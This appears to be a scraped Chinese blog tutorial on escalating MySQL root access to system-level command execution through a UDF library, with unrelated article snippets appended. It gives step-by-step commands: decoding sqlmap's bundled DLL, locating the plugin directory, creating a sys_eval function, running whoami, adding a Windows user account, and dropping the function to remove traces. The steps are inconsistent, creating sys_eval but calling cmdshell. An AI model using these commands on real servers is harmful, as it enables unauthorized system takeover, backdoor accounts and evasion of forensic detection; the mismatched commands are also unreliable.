linux下 udf提权_mysql——udf提权

01

前言

udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。将MYSQL账号root转化为系统system权限。

02

思路

1.将udf文件上传到指定位置

sqlmap中有现成的udf文件,有linux版本和windows版本分为32位和64位,一定要选择对应系统的对应版本版本,否则会显示:Can‘t open shared library ‘udf.dll‘。尤其要注意

    sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_

    sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:

python ./cloak.py -d -i  sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

会在当前目录下生成一个解锁后的lib_mysqludf_sys.dll

通过以下命令查看mysql的运行环境

show  variables like '%version%';

be9739f86c266ad99b40b430d5f1f8ff.png

show variables like '%compile%';

fbf5c76df72b957a54294ce5326a7e4d.png

或者

select @@version_compile_machine;

e0167a57d800c4411c66a56ee85ce136.png

可以判断是在64为的cpu上运行了win32的系统,因此我们的mysql程序也是32位的。在使用udf.dll文件时应该使用windows系统下32位的文件

sqlmap中的udf文件提供的函数:

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

有了udf文件,接下来就是利用各种办法上传到网站指定目录下 

MySQL<5.0,导出路径随意;

5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)

MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

通过以下命令查看mysql版本

select @@version;

select version();

4c1b9420c3064dd7171786c05b3ffbe5.png

根据不同的版本号,将udf.dll文件上传到对应的目录下。

本人所测试的mysql版本是5.5.53因此需要将udf.dll文件上传到mysal/lib/plugin目录下;

可以通过以下命令查看plugin文件夹的绝对路径:

select @@plugin_dir;

9666435fd1536e5b6af452cf3bbabe06.png

本次只讨论udf提权,上传过程忽略

create function sys_eval returns string soname 'udf.dll';

e039013189cd6637a07c7ca04af16a9f.png

select cmdshell ('whoami');

1bb1dfff4beab01f8358acc72fe1ce0d.png

select cmdshell ('net user aaa abc123!@# /add');

b055124d7fdbff27b62b78a8e33097ac.png

消除痕迹

drop function sys_eval;

c305b7571a153b7f9d8e895a91458d52.png

3f5c185b2884ac7a319f83db931f9681.png

222d73cc006b090ed75ff95f5e142bd7.png

扫码关注

微信号:JIANJIEXX_

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/506625.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

css设置 ul的内外边距,9月3日学习CSS选择器,背景设置,及内外边距知识总结

实例html>选择器p:nth-of-type(2) {background-color: crimson;}猪哥朱老师西门大官人欧阳克潘金莲运行实例 点击 "运行实例" 按钮查看在线实例演示:padding 对盒子大小的影响与解决方案&#xff01;在下面html文档中&#xff0c;div包含了一张像素为200px的图片&…

国外ipv6服务器网站,国外 ipv6 服务器地址

国外 ipv6 服务器地址 内容精选换一换安全组创建后&#xff0c;您可以在安全组中设置出方向、入方向规则&#xff0c;这些规则会对安全组内部的云服务器出入方向网络流量进行访问控制&#xff0c;当云服务器加入该安全组后&#xff0c;即受到这些访问规则的保护。入方向&#x…

与context的关系_你还不知道 OpenGL ES 和 EGL 的关系?

什么是 EGLEGL 是 OpenGL ES 和本地窗口系统(Native Window System)之间的通信接口&#xff0c;它的主要作用&#xff1a;与设备的原生窗口系统通信&#xff1b;查询绘图表面的可用类型和配置&#xff1b;创建绘图表面&#xff1b;在OpenGL ES 和其他图形渲染API之间同步渲染&a…

ivew 的ajax,iView-Upload组件分析

源码分析xhr相关知识点Ajax要点分析拖拽事件以及粘贴事件具体实现总结xhr相关知识点XMLHttpRequest.upload 属性返回一个 XMLHttpRequestUpload对象&#xff0c;用来表示上传的进度。通过onprogress属性进行监听,是在 XMLHttpRequest 完成之前周期性调用的函数。xhr.upload.onp…

安装thymeleaf 插件_史上最详细的WordPress安装教程(四):安装mysql 5.7

安装mysql添加源rpm -Uvh http://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpm#或wget http://dev.mysql.com/get/mysql57-community-release-el7-9.noarch.rpmrpm -ivh mysql57-community-release-el7-9.noarch.rpm安装yum -y install mysql-community-ser…

域名与网页服务器的什么对应,简述网站从域名到网页的访问流程

简述网站从域名到网页的访问流程时间&#xff1a;2019-12-301384 次浏览大家对上网并不陌生&#xff0c;不管是IT人士还是普通大众&#xff0c;不管用电脑还是手机&#xff0c;上网已变成大家生活中的一部分。什么是上网&#xff1f;简单点讲就是打开网页&#xff0c;说的详细一…

如何修改7 服务器配置,centos7修改服务器配置

centos7修改服务器配置 内容精选换一换简要介绍Oases是一个转录组组装器&#xff0c;旨在没有任何基因组组装的情况下从短读测序技术生成转录本。开发语言&#xff1a;C一句话描述&#xff1a;基因组装软件开源协议&#xff1a;GPL 3.0建议的版本建议使用版本为最新版本&#x…

贴纸效果_(新)AE插件:时尚印刷贴纸效果动画帽子眼镜胡须嘴唇图标社交标题库(3001)...

如何获取 | 点击底部“阅读原文”获取▎ 素材说明Live Stickers库为您提供无限的机会&#xff01;除了动画贴纸外&#xff0c;在项目中&#xff0c;您还将找到许多其他类别。外观类别包括眼睛情感&#xff0c;面具(如Snapchat应用程序中的面具)&#xff0c;凉爽的帽子&#xff…

逆向so_安卓逆向 | 分析调试与so调用实战

声明&#xff1a;本教程用于学习交流&#xff0c;如有侵权联系本人删除&#xff01;点击上方“逆向小白”&#xff0c;选择“加为星标”第一时间关注逆向技术干货&#xff01;使用fiddler抓取某app登录接口的时候&#xff0c;没有看到任何相关的数据包&#xff0c;猜测app做了防…

电容的q值计算公式_在设计电路中电容容量大小、耐压等级选取详解 (转)

原文链接&#xff1a;在设计电路中电容容量大小、耐压等级选取详解 作者:张飞电容的计算 我们对电容的计算&#xff0c;目的是要知道&#xff0c;我们在电路中需要一个多大的电容。为什么要需要这么个电容&#xff1f;它的电压要多高&#xff1f;它的容量要多大&#xff1f;这是…

一个显示器分两个屏幕_桌面改造计划2.0:一个显示器不够那就两个,桌面好物分享...

日常生活节奏快&#xff0c;工作压力大应该目前年轻人的共识。为了适应快节奏的生活&#xff0c;使得大家往往不得不接受996或者997甚至更长的工作时间。而随着更长的工作时间也导致大家在电脑显示器前的时间更长&#xff0c;从而带来更多的不良影响&#xff0c;这两年过劳死的…

python寻找屏幕上的特定字符_库Turtle:用Python指挥小海龟在屏幕上绘图,流行的儿童编程...

海龟绘图&#xff08;Turtle Graphics&#xff09;是向儿童介绍编程的流行方式&#xff0c;源于Wally Feurzig和Seymour Papert1966年开发的LOGO语言。Python内置了Turtle库&#xff0c;基本包含所有原始功能。想象绘图区左上角有一只小海龟&#xff0c;代码就是指挥它动作的命…

flutterapp部分手机无法打开_Flutter run无法在iPhone上打开应用,直接在iphone也无法打开...

在电脑端运行flutter run后&#xff0c;报错信息如下&#xff1a;$ flutter runLaunching lib/main.dart on yuan的 iPhone in debug mode...Automatically signing iOS for device deployment using specified development team in Xcode project: 9D2Q3H854TRunning Xcode bu…

centos7 mysql 安装_CentOS7安装MySQL8.0图文教程(相对最齐全)

登录主机&#xff0c;然后进行下载第一步&#xff1a;在mysql官网下载源文件第二步&#xff1a;Select Operating System: 选择 Red Hat &#xff0c;CentOS 是基于红帽的&#xff0c;Select OS Version: 选择 linux 7第三步&#xff1a;选择 RPM Bundle 点击 Download第四步&a…

cesium等高线_Cesium开源三维地球离线地图发布源码示例功能

一、概述Cesium开源三维地球离线地图发布源码提供了地图切换、查询定位、模型加载、专题图叠加显示和测量功能等&#xff0c;旨在为用户提供一个可以在Cesium快速加载离线地图或在线地图的解决方案&#xff0c;并提供技术支持。除了现有基本功能之外&#xff0c;还可以根据用户…

python 爬取贝壳网小区名称_Python爬虫实战:爬取贝壳网二手房40000条数据

前言本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理以下文章来源于啤酒就辣条 &#xff0c;作者啤酒就辣条一、网页分析爬取贝壳网石家庄二手房信息&#xff0c;先打开链接https://sjz.ke.com/ershoufang…

hive mysql5.7_安装并使用mysql5.7作为hive的metastore

前言hive的metastore默认是使用derby来作为metastore&#xff0c;但是derby有一个缺点是不能支持多用户链接&#xff0c;虽然你可以通过切换目录来支持&#xff0c;但是不同目录的metastore会不一致&#xff0c;所以这里使用mysql来作为hive的metastore。在linux上安装mysql数据…

gitee如何搭建mysql_Windows基于gitee使用hexo搭建个人博客笔记

声明"全局变量"(以后我提到的站点配置文件和主题配置文件地址)&#xff1a;"站点配置文件"位置为 hexo/_config.yml"主题配置文件"位置为 hexo/themes/next/_config.yml搭建hexo安装hexo命令行中输入以下命令(npm即为Node.js环境&#xff0c;如果…

mysql error nr.2003_[MySQL]在安装windows版MySQL时遇到过如下问题Error Nr.1045和Error.Nr.2003,相应解决办法如下...

1、准备mysql server-5.0.27.exe2、按照指导安装&#xff0c;在安装到最后一步时遇到如下两个错误&#xff1a;2.1、出现错误Error Nr.1045解决办法&#xff1a;a).停止MySQL服务&#xff1a;我的电脑-->右键-->管理-->服务和应用程序-->服务 找到名为"MySQL&…

java 数据结构 迷宫_JAVA数据结构与算法之递归(一)~ 迷宫问题

递归递归需要遵守的重要规则1) 执行一个方法时&#xff0c;就创建一个新的受保护的独立空间(栈空间)2) 方法的局部变量是独立的&#xff0c;不会相互影响, 比如 n 变量3) 如果方法中使用的是引用类型变量(比如数组)&#xff0c;就会共享该引用类型的数据.4) 递归 必须向退出递归…